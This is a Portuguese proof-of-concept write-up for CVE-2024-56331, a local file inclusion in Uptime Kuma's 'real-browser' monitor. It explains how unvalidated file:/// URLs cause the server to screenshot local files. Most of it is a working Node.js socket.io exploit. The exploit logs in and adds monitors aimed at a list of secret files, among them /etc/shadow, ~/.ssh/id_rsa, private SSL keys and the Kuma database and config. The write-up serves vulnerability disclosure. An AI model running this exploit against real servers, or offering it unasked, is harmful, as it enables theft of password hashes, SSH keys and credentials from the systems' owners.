
Exploit de prova de conceito para CVE-2024-56331, demonstrando Local File Inclusion no Uptime Kuma através de manipulação inadequada de URLs no monitor real-browser. Utiliza o protocolo file:/// para capturar screenshots de arquivos sensíveis do servidor.
Real-BrowserUma Vulnerabilidade de Tratamento Incorreto de URL permite que um atacante acesse arquivos locais sensíveis no servidor explorando o protocolo file:///. Essa vulnerabilidade é acionada através do tipo de requisição "real-browser", que tira um screenshot da URL fornecida pelo atacante. Ao fornecer caminhos de arquivo locais, como file:///etc/passwd, um atacante pode ler dados sensíveis do servidor.
A vulnerabilidade surge porque o sistema não valida ou sanitiza adequadamente a entrada do usuário para o campo de URL. Especificamente:
A entrada de URL (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) permite que usuários insiram caminhos de arquivo arbitrários, incluindo aqueles que usam o protocolo , sem validação no servidor.
file:///O servidor então usa a URL fornecida pelo usuário para fazer uma requisição, passando-a para uma instância do navegador que executa a requisição "real-browser", que tira um screenshot do conteúdo na URL fornecida. Se um caminho de arquivo local for inserido (ex.: file:///etc/passwd), o navegador busca e captura o conteúdo do arquivo.
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
Como a entrada do usuário não é validada, um atacante pode manipular a URL para requisitar arquivos locais (ex.: file:///etc/passwd), e o sistema capturará um screenshot do conteúdo do arquivo, potencialmente expondo dados sensíveis.
view-source:file:///etc/passwd.Exemplo de PoC:
const { io } = require("socket.io-client");
// Configuração do servidor e credenciais
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// Lista de arquivos sensíveis em um sistema Linux
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // Pode variar dependendo da distribuição
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Arquivo de banco de dados do Uptime Kuma
"/app/data/config.json" // Arquivo de configuração do Uptime Kuma
];
// Função para enviar uma requisição e aguardar a resposta
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Resposta para o arquivo ${filePath}:`, res);
resolve();
});
});
}
// Função principal para conectar e enviar a requisição 'add'
(async () => {
const socket = io(CONFIG.serverUrl);
// Lidar com erros de conexão
socket.on("connect_error", (err) => {
console.error("Falha na conexão:", err.message);
});
try {
// Conectando com credenciais
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Conexão bem-sucedida");
resolve();
} else {
console.log(res);
reject(new Error("Falha na conexão"));
}
});
});
// Enviando requisições para cada arquivo usando Promise.all para garantir sincronização
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Aguardar o envio de todas as requisições
await Promise.all([...realBrowserRequests]);
// Fechar o socket após o envio de todas as requisições
socket.close();
console.log("Conexão fechada após todas as requisições.");
} catch (error) {
console.error("Erro:", error.message);
socket.close();
}
})();
Esta vulnerabilidade é um problema de Inclusão de Arquivo Local (LFI), que permite a um atacante acessar e potencialmente exfiltrar arquivos sensíveis do servidor. O impacto é significativo, pois atacantes podem acessar arquivos críticos do sistema ou arquivos de configuração da aplicação, como:
/etc/passwd: Contém informações de contas de usuário./etc/shadow: Contém hashes de senhas./app/data/kuma.db: Contém o banco de dados da ferramenta de monitoramento Uptime Kuma./app/data/config.json: Contém as credenciais do banco de dados do Uptime Kuma.Qualquer usuário autenticado que possa enviar uma URL no modo "real-browser" corre o risco de expor dados sensíveis através de screenshots desses arquivos.